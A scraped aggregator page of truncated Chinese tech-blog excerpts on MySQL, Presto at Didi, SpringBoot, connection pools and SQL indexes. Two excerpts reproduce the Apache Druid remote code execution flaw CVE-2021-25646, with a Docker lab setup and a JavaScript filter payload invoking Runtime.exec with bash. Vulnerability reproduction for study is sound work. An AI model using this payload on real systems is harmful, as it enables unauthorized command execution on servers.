Druid

com.mysql.cj.core.exceptions.InvalidConnectionAttributeException: The server time zone value &#39...

限于喜欢 提交于 2021-02-20 05:41:52
<properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> <java.version>1.8</java.version> <druid.version>1.0.9</druid.version> <mybatis.boot.starter.version>1.3.0</mybatis.boot.starter.version> <mysql.connector.java.version>8.0.15</mysql.connector.java.version> </properties> datasource: url: jdbc:mysql://localhost:3306/db_pack_case ?useUnicode=true&characterEncoding=UTF-8&useJDBCCompliantTimezoneShift=true&useLegacyDatetimeCode=false&serverTimezone=UTC username: root password: root driver-class

Presto在滴滴的探索与实践

给你一囗甜甜゛ 提交于 2021-02-13 14:01:33
桔妹导读: Presto在滴滴内部发展三年,已经成为滴滴内部Ad-Hoc和Hive SQL加速的首选引擎。目前服务6K+用户,每天读取2PB ~ 3PB HDFS数据,处理30万亿~35万亿条记录,为了承接业务及丰富使用场景,滴滴Presto需要解决稳定性、易用性、性能、成本等诸多问题。我们在3年多的时间里,做了大量优化和二次开发,积攒了非常丰富的经验。本文分享了滴滴对Presto引擎的改进和优化,同时也提供了大量稳定性建设经验。 1. Presto简介 ▍ 1.1 简介 Presto是Facebook开源的MPP(Massive Parallel Processing)SQL引擎,其理念来源于一个叫Volcano的并行数据库,该数据库提出了一个并行执行SQL的模型,它被设计为用来专门进行高速、实时的数据分析。Presto是一个SQL计算引擎,分离计算层和存储层,其不存储数据,通过Connector SPI实现对各种数据源(Storage)的访问。 ▍ 1.2 架构 Presto沿用了通用的Master-Slave架构,一个Coordinator,多个Worker。Coordinator负责解析SQL语句,生成执行计划,分发执行任务给Worker节点执行;Worker节点负责实际执行查询任务。Presto提供了一套Connector接口,用于读取元信息和原始数据,Presto

Presto在滴滴的探索与实践

人盡茶涼 提交于 2021-02-13 14:01:17
桔妹导读: Presto在滴滴内部发展三年,已经成为滴滴内部Ad-Hoc和Hive SQL加速的首选引擎。目前服务6K+用户,每天读取2PB ~ 3PB HDFS数据,处理30万亿~35万亿条记录,为了承接业务及丰富使用场景,滴滴Presto需要解决稳定性、易用性、性能、成本等诸多问题。我们在3年多的时间里,做了大量优化和二次开发,积攒了非常丰富的经验。本文分享了滴滴对Presto引擎的改进和优化,同时也提供了大量稳定性建设经验。 1. Presto简介 ▍ 1.1 简介 Presto是Facebook开源的MPP(Massive Parallel Processing)SQL引擎,其理念来源于一个叫Volcano的并行数据库,该数据库提出了一个并行执行SQL的模型,它被设计为用来专门进行高速、实时的数据分析。Presto是一个SQL计算引擎,分离计算层和存储层,其不存储数据,通过Connector SPI实现对各种数据源(Storage)的访问。 ▍ 1.2 架构 Presto沿用了通用的Master-Slave架构,一个Coordinator,多个Worker。Coordinator负责解析SQL语句,生成执行计划,分发执行任务给Worker节点执行;Worker节点负责实际执行查询任务。Presto提供了一套Connector接口,用于读取元信息和原始数据,Presto

从零开始搭建后台管理系统(一)--创建SpringBoot项目

不打扰是莪最后的温柔 提交于 2021-02-12 18:58:42
最近我在搭建一个SpringBoot的后台管理系统,写到一半想起来博客好像很久很久没更新了,所以准备把这个项目的开发过程记录到博客系统里,这个系统现在已经集成了Mysql、Mybatis-Plus、Redis、Shiro、Druid、lombok。这个系统我开发了两个星期了,主要时间花在Shiro上了,现在Shrio使用Redis作为Catch和Session存储器,未来准备集成Kafka作为日志记录系统,把日志数据写到数据库里。 第一步我们要创建一个SpringBoot项目,我个人习惯使用IDEA,所以使用IDEA创建SpringBoot项目。 打开IDEA,点击File->New->Project。然后选择SpringInitializr,点next,配置项目信息。我自己本地装的还是JDK8,所以JavaVersion就选8。配置信息配置好之后,就要选择引用的包,我们到时候自己在pom文件里添加就行,继续next,配置项目名称。最后配置一下项目名称和创建地址,我们就搭建成了。 这个是项目的地址 https://github.com/Raindtop/Spring-Backstage,这个后台搭建的所有代码都在这里面。 来源: oschina 链接: https://my.oschina.net/u/4109273/blog/4952473

笔记-JavaWeb学习之旅5

谁说胖子不能爱 提交于 2021-02-12 13:00:23
CP30的演示 package cn.itcast.datasourcejdbc; import com.mchange.v2.c3p0.ComboPooledDataSource; import javax.sql.DataSource; import java.sql.Connection; import java.sql.SQLException; public class C3P0Demo2 { public static void main(String[] args){ //创建连接池对象,使用多态 //不指定配置文件的名称,会连接默认配置 DataSource ds = new ComboPooledDataSource(); //使用getConnection方法获取连接 try{ //归还连接对象演示 //文件默认配置了10个连接 for(int i = 0 ; i <10 ; i++){ Connection c = ds.getConnection(); //i<5个的话不会报错 //i<11的话会报异常 An attempt by a client to checkout a Connection has timed out. System.out.println(i+""+c); //现在归连接 if(i==5){ c.close(); //运行正常

索引+sql优化

本秂侑毒 提交于 2021-02-12 11:01:37
索引的概念 : 索引是提高查询速度的一种手段。 索引有很多种,以下是索引树的结构 要求查询出薪资大于 5000 的雇员信息,只要在树中找到 5000 的节点,直接查询该节点右边的数据即可,左边就不用管了,这样提高了查询的效率。 将数据按照索引数据的方式保存需要先创建索引。 基本语法: CREATE INDEX 索引名 ON 数据表(字段名) ; 删除索引: DROP INDEX 索引名 ; 注意:系统默认主键使用索引。 复合索引 一个索引在多个字段上创建,就是一个索引作用于多个字段。 例如: CREATE INDEX 索引名 ON 数据表(字段 1 ,字段 2 ) ; 注意:查询数据使用字段 2 ,此时使用的是全表扫描模式,查询数据使用字段 1 ,此时使用的是索引扫描模式。(此现象叫做索引的 最左原则 ) 在 Oracle 中使用了多个字段,并且是 AND 连接的条件,那么字段的顺序不影响扫描的方式(索引扫描),如果是 mysql 则需要和复合索引的字段顺序一致。使用 OR 连接条件会导致索引失效,应该使用 UNION ALL 代替 OR 查询。 总结: 索引不能随便用。如果一张数据表更新频率太高,更新数据之后需要重新创建索引,这一过程很耗费性能。 Sql 的优化 *(面试题) 1、 对查询进行优化,要尽量避免全表扫描,首先应考虑在进行条件判断的字段上创建索引。

Java生鲜电商平台-监控模块的设计与架构

假装没事ソ 提交于 2021-02-11 10:44:25
点击上方蓝色“ 方志朋 ”,选择“设为星标” 回复“ 666 ”获取独家整理的学习资料! ‍ 来源: https://www.cnblogs.com/jurendage/p/9070442.html Java开源生鲜电商平台-监控模块的设计与架构,我们谈到监控,一般设计到两个方面的内容: 服务器本身的监控。(比如:linux服务器的CPU,内存,磁盘IO等监控) 业务系统的监控. (比如:业务系统性能的监控,SQL语句的监控,请求超时的监控,用户输入的监控,整个请求过程时间的监控,优化等等) 1. 服务器本身的监控 说明:由于Java开源生鲜电商平台采用的是阿里云的linux CentOS服务器,由于阿里云本身是有监控预警的,但是我们不可能时刻去看,最好有集成自己的系统监控, 最终在各种系统对比的过程中,选择了netdata这个工具,当然有一些软件比如:zabbix,negios等等都是可以的,但是我们服务器压力不算大,最终采用了更加轻量级的解决方案。 相关的安装与使用,大家自行百度处理,我这边就不列举出来了。 以下是相关的实际运营截图: 2. 业务监控 说明:任何一个业务系统都需要采用业务监控,抛异常,有error日志,短信预警,推送等等 Java内存 JavaCPU使用情况 用户Session数量 JDBC连接数 http请求、sql请求、jsp页面与业务接口方法(EJB3

Apache Druid RCE(CVE-2021-25646)复现

一个人想着一个人 提交于 2021-02-05 17:02:35
漏洞概述 Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。 Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。 影响版本 Apache Druid < 0.20.1 环境搭建 这里使用docker来搭建 拉取镜像并启动 Apache Druid:0.16.0 版本的环境 docker pull fokkodriesprong/docker-druid docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid 访问your-ip:8888即可看到页面 漏洞复现 点击Load data -> Local disk 依次填入 Base directory: quickstart/tutorial/ File filter: wikiticker-2015-09-12-sampled.json.gz 默认next 到filter项 抓包修改filter为 { "type":"javascript", "function":"function(value){return java.lang.Runtime.getRuntime().exec('/bin/bash -c $@|bash

springboot+mybatis多数据源配置

こ雲淡風輕ζ 提交于 2021-02-05 06:25:19
1.配置文件配置两个数据源。application.properties ## 端口 server.port=8080 # 数据库访问配置 spring.datasource.type=com.alibaba.druid.pool.DruidDataSource spring.datasource.driver-class-name=com.mysql.jdbc.Driver spring.datasource.first-url=jdbc:mysql://localhost:3306/test?useUnicode=true &characterEncoding =utf-8 &serverTimezone =UTC &zeroDateTimeBehavior =convertToNull &useSSL =false spring.datasource.first-username=root spring.datasource.first-password=zyh123 spring.datasource.historyUrl=jdbc:mysql://localhost:3306/test_history?useUnicode=true &characterEncoding =utf-8 &serverTimezone =UTC &zeroDateTimeBehavior

漏洞复现: Apache Druid 远程代码执行漏洞 (CVE-2021-25646)

匆匆过客 提交于 2021-02-04 09:00:53
作者:Ja0k 本文为作者投稿,Seebug Paper 期待你的分享,凡经采用即有礼品相送! 投稿邮箱:paper@seebug.org 一.漏洞概要 Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询。 Apache Druid 默认情况下缺乏授权认证,攻击者可以发送特制请求,利用Druid服务器上进程的特权执行任意代码。 二.影响范围 影响版本: Apache Druid < 0.20.1 安全版本: Apache Druid 0.20.1 三.环境搭建 https://github.com/apache/druid/ https://druid.apache.org/docs/latest/tutorials/index.html 下载0.19版本 https://github.com/apache/druid/releases/tag/druid-0.19.0 解压 cd druid-druid-0.19.0-rc1\distribution\docker docker-compose up -d 打开 http://192.168.123.10:8888 四.漏洞复现 Poc1:通用 POST /druid/indexer/v1/sampler HTTP/1.1 Host: 192.168.123